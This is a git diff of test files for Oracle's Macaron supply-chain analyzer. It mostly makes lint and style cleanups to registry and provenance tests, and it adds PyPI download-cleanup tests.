Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for the deps.dev service.""" @@ -31,9 +31,9 @@ def test_get_package_info_exception(httpserver: HTTPServer, deps_dev_service_moc f"/{deps_dev_service_mock['api']}/{deps_dev_service_mock['purl']}/{purl}" ).respond_with_data("Not Valid") - with pytest.raises(APIAccessError, match="^Failed to process"): + with pytest.raises(APIAccessError, match=r"^Failed to process"): DepsDevService.get_package_info(purl) # Request an invalid resource. - with pytest.raises(APIAccessError, match="^No valid response"): + with pytest.raises(APIAccessError, match=r"^No valid response"): DepsDevService.get_package_info("pkg:pypi/test") diff --git a/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py b/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py index 13f0bc693..5a9aea3a2 100644 --- a/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py +++ b/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py @@ -260,7 +260,8 @@ def test_extract_folder_names_from_folder_info_payload( ("args", "expected_file_names"), [ pytest.param( - {"folder_info_payload": """ + { + "folder_info_payload": """ { "children": [ { @@ -273,7 +274,8 @@ def test_extract_folder_names_from_folder_info_payload( } ] } - """}, + """ + }, ["child2"], id="Payload with both files and folders", ), @@ -452,11 +454,11 @@ def test_extract_file_names_from_folder_info_payload( }, "downloadUri": "https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar" } - """, # noqa: B950 + """, JFrogMavenAssetMetadata( size_in_bytes=66897, sha256_digest="17918b3097285da88371fac925922902a9fe60f075237e76f406c09234c8d614", - download_uri="https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar", # noqa: B950 + download_uri="https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar", ), id="Valid", ), diff --git a/tests/slsa_analyzer/package_registry/test_maven_central_registry.py b/tests/slsa_analyzer/package_registry/test_maven_central_registry.py index c304074f0..9ac4c679b 100644 --- a/tests/slsa_analyzer/package_registry/test_maven_central_registry.py +++ b/tests/slsa_analyzer/package_registry/test_maven_central_registry.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for the Maven Central registry.""" @@ -240,7 +240,9 @@ def test_find_publish_timestamp_errors( @pytest.mark.parametrize("purl_string", ["pkg:maven/example", "pkg:maven/example/test", "pkg:maven/example/test@1"]) def test_get_artifact_hash_failures( - httpserver: HTTPServer, maven_service: dict, purl_string: str # pylint: disable=unused-argument + httpserver: HTTPServer, + maven_service: dict, # pylint: disable=unused-argument + purl_string: str, ) -> None: """Test failures of get artifact hash.""" purl = PackageURL.from_string(purl_string) @@ -262,7 +264,8 @@ def test_get_artifact_hash_failures( def test_get_artifact_hash_success( - httpserver: HTTPServer, maven_service: dict # pylint: disable=unused-argument + httpserver: HTTPServer, + maven_service: dict, # pylint: disable=unused-argument ) -> None: """Test success of get artifact hash.""" purl = PackageURL.from_string("pkg:maven/example/test@1") diff --git a/tests/slsa_analyzer/package_registry/test_osv_dev.py b/tests/slsa_analyzer/package_registry/test_osv_dev.py index 6856818ae..8bb277b51 100644 --- a/tests/slsa_analyzer/package_registry/test_osv_dev.py +++ b/tests/slsa_analyzer/package_registry/test_osv_dev.py @@ -53,8 +53,8 @@ def test_load_defaults_query_api(tmp_path: Path, user_config_input: str) -> None def test_is_affected_version_invalid_commit() -> None: - """Test if the function can handle invalid commits""" - with pytest.raises(APIAccessError, match="^Failed to find a tag for"): + """Test if the function can handle invalid commits.""" + with pytest.raises(APIAccessError, match=r"^Failed to find a tag for"): OSVDevService.is_version_affected( vuln={}, pkg_name="pkg", @@ -66,7 +66,7 @@ def test_is_affected_version_invalid_commit() -> None: def test_is_affected_version_invalid_response() -> None: """Test if the function can handle empty OSV response.""" - with pytest.raises(APIAccessError, match="^Received invalid response for"): + with pytest.raises(APIAccessError, match=r"^Received invalid response for"): OSVDevService.is_version_affected( vuln={"vulns": []}, pkg_name="repo/workflow", pkg_version="1.0.0", ecosystem="GitHub Actions" ) diff --git a/tests/slsa_analyzer/package_registry/test_pypi_registry.py b/tests/slsa_analyzer/package_registry/test_pypi_registry.py new file mode 100644 index 000000000..a41f7ae3e --- /dev/null +++ b/tests/slsa_analyzer/package_registry/test_pypi_registry.py @@ -0,0 +1,123 @@ +# Copyright (c) 2026 - 2026, Oracle and/or its affiliates. All rights reserved. +# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. + +"""Tests for the PyPI package registry.""" + +import os +import shutil +import tarfile +from pathlib import Path +from unittest.mock import MagicMock + +import pytest +import requests + +from macaron.errors import InvalidHTTPResponseError, SourceCodeError +from macaron.slsa_analyzer.package_registry import pypi_registry +from macaron.slsa_analyzer.package_registry.pypi_registry import PyPIInspectorAsset, PyPIPackageJsonAsset, PyPIRegistry + + +def _raise_during_sourcecode_context(asset: PyPIPackageJsonAsset) -> None: + """Raise an error inside the sourcecode context manager.""" + with asset.sourcecode(): + raise SourceCodeError("analysis failed") + + +def test_download_package_sourcecode_flattens_top_level_directory( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """Downloaded sdists with a single top-level package directory should clean up from the temp root.""" + package_name = "example-1.0.0" + pyproject_path = os.path.join(tmp_path, "pyproject.toml") + with open(pyproject_path, "w", encoding="utf-8") as pyproject_file: + pyproject_file.write("[build-system]\n") + archive_path = os.path.join(tmp_path, f"{package_name}.tar.gz") + with tarfile.open(archive_path, "w:gz") as archive: + archive.add(pyproject_path, arcname=os.path.join(package_name, "pyproject.toml")) + + temp_root = os.path.join(tmp_path, "downloads") + os.makedirs(temp_root) + + def mkdtemp(prefix: str) -> str: + return os.path.join(temp_root, f"{prefix}abcdef") + + def download_file(_url: str, _headers: dict, dest: str, _timeout: int, _size_limit: int) -> bool: + os.makedirs(os.path.dirname(dest), exist_ok=True) + shutil.copyfile(archive_path, dest) + return True + + monkeypatch.setattr(pypi_registry.tempfile, "mkdtemp", mkdtemp) + monkeypatch.setattr(pypi_registry, "download_file_with_size_limit", download_file) + + source_path = PyPIRegistry().download_package_sourcecode(f"https://example.test/{package_name}.tar.gz") + + assert source_path == os.path.join(temp_root, f"{package_name}_abcdef") + assert os.path.exists(os.path.join(source_path, "pyproject.toml")) + assert not os.path.exists(os.path.join(source_path, package_name)) + + PyPIRegistry.cleanup_sourcecode_directory(source_path) + assert not os.path.exists(source_path) + + +def test_sourcecode_context_cleans_up_when_analysis_raises(tmp_path: Path) -> None: + """The sourcecode context manager must remove downloads even if the caller fails.""" + source_path = os.path.join(tmp_path, "example-1.0.0_abcdef") + os.makedirs(source_path) + + registry = PyPIRegistry() + registry.download_package_sourcecode = MagicMock(return_value=str(source_path)) # type: ignore[method-assign] + asset = PyPIPackageJsonAsset("example", "1.0.0", False, registry, {}, PyPIInspectorAsset("", [], {})) + asset.get_sourcecode_url = MagicMock( # type: ignore[method-assign] + return_value="https://example.test/example-1.0.0.tar.gz" + ) + + with pytest.raises(SourceCodeError, match="analysis failed"): + _raise_during_sourcecode_context(asset) + + assert not os.path.exists(source_path) + + +def test_download_package_sourcecode_cleans_up_when_download_raises( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """The sdist temp directory should be removed if the download helper raises.""" + package_name = "example-1.0.0" + source_path = os.path.join(tmp_path, f"{package_name}_abcdef") + + def mkdtemp(prefix: str) -> str: + path = os.path.join(tmp_path, f"{prefix}abcdef") + os.makedirs(path) + return path + + def download_file(_url: str, _headers: dict, _dest: str, _timeout: int, _size_limit: int) -> bool: + raise requests.exceptions.ConnectionError("download crashed") + + monkeypatch.setattr(pypi_registry.tempfile, "mkdtemp", mkdtemp) + monkeypatch.setattr(pypi_registry, "download_file_with_size_limit", download_file) + + with pytest.raises(InvalidHTTPResponseError, match="download crashed"): + PyPIRegistry().download_package_sourcecode(f"https://example.test/{package_name}.tar.gz") + + assert not os.path.exists(source_path) + + +def test_download_package_wheel_cleans_up_when_download_raises(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + """The wheel temp directory should be removed if the download helper raises.""" + wheel_name = "example-1.0.0-py3-none-any" + wheel_path = os.path.join(tmp_path, f"{wheel_name}_abcdef") + + def mkdtemp(prefix: str) -> str: + path = os.path.join(tmp_path, f"{prefix}abcdef") + os.makedirs(path) + return path + + def download_file(_url: str, _headers: dict, _dest: str, _timeout: int, _size_limit: int) -> bool: + raise requests.exceptions.ConnectionError("download crashed") + + monkeypatch.setattr(pypi_registry.tempfile, "mkdtemp", mkdtemp) + monkeypatch.setattr(pypi_registry, "download_file_with_size_limit", download_file) + + with pytest.raises(InvalidHTTPResponseError, match="download crashed"): + PyPIRegistry().download_package_wheel(f"https://example.test/{wheel_name}.whl") + + assert not os.path.exists(wheel_path) diff --git a/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py b/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py index 99d8f4032..a12282905 100644 --- a/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py +++ b/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for validation of in-toto attestation version 0.1.""" @@ -38,7 +38,7 @@ "predicateType": "https://slsa.dev/provenance/v0.2", "predicate": { "builder": { - "id": "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@refs/tags/v1.5.0" # noqa: B950 + "id": "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@refs/tags/v1.5.0" }, "buildType": "https://github.com/slsa-framework/slsa-github-generator/go@v1", }, diff --git a/tests/slsa_analyzer/test_analyze_context.py b/tests/slsa_analyzer/test_analyze_context.py index 4b1b1e776..172a1928b 100644 --- a/tests/slsa_analyzer/test_analyze_context.py +++ b/tests/slsa_analyzer/test_analyze_context.py @@ -1,10 +1,10 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains tests for the AnalyzeContext module.""" +from types import MappingProxyType from unittest import TestCase -from unittest.mock import MagicMock from macaron.code_analyzer.dataflow_analysis.core import NodeForest from macaron.json_tools import JsonType @@ -19,16 +19,14 @@ class TestAnalyzeContext(TestCase): - """ - This class tests the AnalyzeContext module - """ + """This class tests the AnalyzeContext module.""" - MOCK_CTX_DATA = { - ReqName.BUILD_SERVICE: SLSAReqStatus(), - ReqName.VCS: SLSAReqStatus(), - } - - MOCK_GIT_OBJ = MagicMock() + MOCK_CTX_DATA = MappingProxyType( + { + ReqName.BUILD_SERVICE: SLSAReqStatus(), + ReqName.VCS: SLSAReqStatus(), + } + ) MOCK_REPO_PATH = "/home/repo_name" @@ -37,20 +35,16 @@ class TestAnalyzeContext(TestCase): MOCK_DATE = "2021-04-5" def setUp(self) -> None: - """ - Set up the sample AnalyzeContext instance - """ + """Set up the sample AnalyzeContext instance.""" self.analyze_ctx = MockAnalyzeContext(macaron_path="", output_dir="") self.analyze_ctx.component.repository.full_name = "owner/repo_name" self.analyze_ctx.component.repository.fs_path = self.MOCK_REPO_PATH self.analyze_ctx.component.repository.commit_sha = self.MOCK_COMMIT_HASH self.analyze_ctx.component.repository.commit_date = self.MOCK_DATE - self.analyze_ctx.ctx_data = self.MOCK_CTX_DATA + self.analyze_ctx.ctx_data = {**self.MOCK_CTX_DATA} def test_update_req_status(self) -> None: - """ - Test updating one requirement in the context - """ + """Test updating one requirement in the context.""" self.analyze_ctx.update_req_status(ReqName.BUILD_SERVICE, True, "sample_fb") assert self.analyze_ctx.ctx_data[ReqName.BUILD_SERVICE].get_tuple() == ( True, diff --git a/tests/slsa_analyzer/test_git_url.py b/tests/slsa_analyzer/test_git_url.py index f84bbbdfa..2c79c61eb 100644 --- a/tests/slsa_analyzer/test_git_url.py +++ b/tests/slsa_analyzer/test_git_url.py @@ -79,9 +79,7 @@ def test_get_repo_name_from_url( def test_is_remote_repo() -> None: - """ - Test the is_remote_repo method - """ + """Test the is_remote_repo method.""" repo_name = "repo_name" remote_urls = [ f"git@github.com:owner/{repo_name}.git", diff --git a/tests/slsa_analyzer/test_slsa_requirements.py b/tests/slsa_analyzer/test_slsa_requirements.py index 4a33e0d44..7dc9efeff 100644 --- a/tests/slsa_analyzer/test_slsa_requirements.py +++ b/tests/slsa_analyzer/test_slsa_requirements.py @@ -1,19 +1,15 @@ -# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module test the slsa_analyzer.requirement module -""" +"""This module test the slsa_analyzer.requirement module.""" from macaron.slsa_analyzer.slsa_req import SLSAReqStatus def test_slsa_requirements_status() -> None: - """ - Test requirement status - """ + """Test requirement status.""" req_status = SLSAReqStatus() - assert (False, False, "") == req_status.get_tuple() + assert req_status.get_tuple() == (False, False, "") feedback = "This repo passes this requirement" req_status.set_status(True, feedback) diff --git a/tests/test_util.py b/tests/test_util.py index fa68b6123..6e4c80c02 100644 --- a/tests/test_util.py +++ b/tests/test_util.py @@ -1,9 +1,7 @@ # Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module test the Util methods -""" +"""This module test the Util methods.""" from collections.abc import Callable from unittest import TestCase @@ -18,14 +16,10 @@ class TestUtil(TestCase): - """ - This class provide tests for the util package. - """ + """This class provide tests for the util package.""" def test_construct_query(self) -> None: - """ - Test whether query is constructed properly - """ + """Test whether query is constructed properly.""" query = util.construct_query( { "q": "Some simple query language:java", @@ -38,9 +32,7 @@ def test_construct_query(self) -> None: # TODO: the copy_file_bulk method is essential, however, this test # needs further work. def test_copy_file_bulk(self) -> None: - """ - Test the copy file bulk method - """ + """Test the copy file bulk method.""" src_path = "/src/path" target_path = "/target/path" @@ -60,10 +52,9 @@ def test_copy_file_bulk(self) -> None: # Testing copy behaviors. with patch("os.makedirs") as mock_make_dirs: # Test ignoring existed files. - with patch("os.path.exists", return_value=True): - with patch("macaron.util.copy_file") as mock_copy_file: - assert util.copy_file_bulk(["file"], src_path, target_path) - mock_copy_file.assert_not_called() + with patch("os.path.exists", return_value=True), patch("macaron.util.copy_file") as mock_copy_file: + assert util.copy_file_bulk(["file"], src_path, target_path) + mock_copy_file.assert_not_called() # Files do not exist, perform the copy operation. with patch("os.path.exists", return_value=False):